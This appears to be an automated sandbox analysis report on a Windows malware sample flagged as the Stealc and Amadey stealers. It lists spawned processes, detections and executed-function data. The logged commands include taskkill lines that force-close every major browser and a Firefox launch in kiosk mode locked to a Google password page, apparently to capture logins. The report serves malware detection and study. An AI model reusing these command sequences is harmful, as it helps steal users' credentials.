Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3135249068.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3144922950.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.3116653245.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:25:47
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe"
Imagebase:	0x9f0000
File size:	1'883'648 bytes
MD5 hash:	B3D3107FAF89ED1B14EBA469E5F6442C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.3207148284.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.3249445453.00000000009F1000.00000040.00000001.01000000.0000001B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:25:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"
Imagebase:	0x870000
File size:	919'552 bytes
MD5 hash:	59B54224956FE92C6CF81FF78616CF7F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:25:51
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:25:51
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:25:58
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002538001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002538001\num.exe"
Imagebase:	0xbf0000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.3280933460.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:26:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:26:00
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:26:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe"
Imagebase:	0xe10000
File size:	2'899'456 bytes
MD5 hash:	2C2EF4A8598A91D781960D9AE7D8CA86
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:26:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:26:01
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:26:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:26:01
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:26:02
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:26:02
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:26:02
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:26:03
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe"
Imagebase:	0xfe0000
File size:	1'883'648 bytes
MD5 hash:	B3D3107FAF89ED1B14EBA469E5F6442C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	00:26:03
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	22%
Signature Coverage:	4.9%
Total number of Nodes:	41
Total number of Limit Nodes:	5

Executed Functions

Function 00CAD585 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00CAD58C

Strings

C, xrefs: 00CAD61B

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 6ee8e9a058e6bd5b98bd1bd2a56b63d81925efe6a5cfaf49f79b513e347afa3f
Instruction ID: 8f19eb1875d9bdd8bb93cea466f3c20915fb0f7b19027d13703f21959d8fb8b1
Opcode Fuzzy Hash: 6ee8e9a058e6bd5b98bd1bd2a56b63d81925efe6a5cfaf49f79b513e347afa3f
Instruction Fuzzy Hash: 9CF050F184C14BBDD7008F20CC646FE7F94D65664CF10444EF84397841D4164E249726

Function 00B1B974 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4be0e0b03e7038e3acaa56974f4f2509fd454c1ab857f8e878b7ee44d0dbe6f
Instruction ID: 88e8283f7cca07a7c777c7384a63a746d6645358e00adf69bebdec1243e04edc
Opcode Fuzzy Hash: d4be0e0b03e7038e3acaa56974f4f2509fd454c1ab857f8e878b7ee44d0dbe6f
Instruction Fuzzy Hash: BFC02B076183E20FC10B573504284C07EA30E1110034DCAF2C3C8CB7C3EC088601C351

Function 00CB92CB Relevance: 4.6, APIs: 3, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00CB9314
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00CB933B
GetNativeSystemInfo.KERNELBASE(?), ref: 00CB9392

Memory Dump Source

Source File: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 412fb747fdd33f3b4ee763f82728ab1a8f6601df896384c4fdb7f9a096eef158
Instruction ID: c8bed8520623d6923ac9018850a14b88b2d297114f11efd46844bbe52a95079c
Opcode Fuzzy Hash: 412fb747fdd33f3b4ee763f82728ab1a8f6601df896384c4fdb7f9a096eef158
Instruction Fuzzy Hash: 3521E47100415E9EEF11DF20C848BDF3BA5EF05345F000926EA51969A1EB7A4EB8CF5A

Function 00CAD46D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00CAD443

Strings

C, xrefs: 00CAD61B

Memory Dump Source

Source File: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
